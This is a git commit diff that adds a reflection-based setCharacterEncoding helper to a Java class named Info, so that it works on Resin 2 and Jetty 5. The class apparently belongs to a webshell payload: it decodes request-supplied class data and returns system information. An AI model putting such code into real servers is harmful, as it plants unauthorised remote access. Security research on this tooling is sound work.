feat: support resin2 and jetty5

This commit is contained in:
ReaJason
2026-07-04 02:59:43 +08:00
parent af4c8b1d63
commit 13312242e5
51 changed files with 3426 additions and 226 deletions
@@ -26,8 +26,8 @@ public class Info {
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
this.setCharacterEncoding(this.request, this.cs);
this.setCharacterEncoding(this.response, this.cs);
this.decoderClassdata = this.decode(this.request.getParameter(var5));
var2.append(this.SysInfoCode());
} catch (Exception var8) {
@@ -127,6 +127,14 @@ public class Info {
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
}
void setCharacterEncoding(Object var1, String var2) {
try {
Method var3 = var1.getClass().getMethod("setCharacterEncoding", new Class[]{String.class});
var3.invoke(var1, new Object[]{var2});
} catch (Throwable ignored) {
}
}
public byte[] Base64DecodeToByte(String var1) {
Object var2 = null;
String var3 = System.getProperty("java.version");
@@ -147,4 +155,4 @@ public class Info {
return new byte[0];
}
}
}
}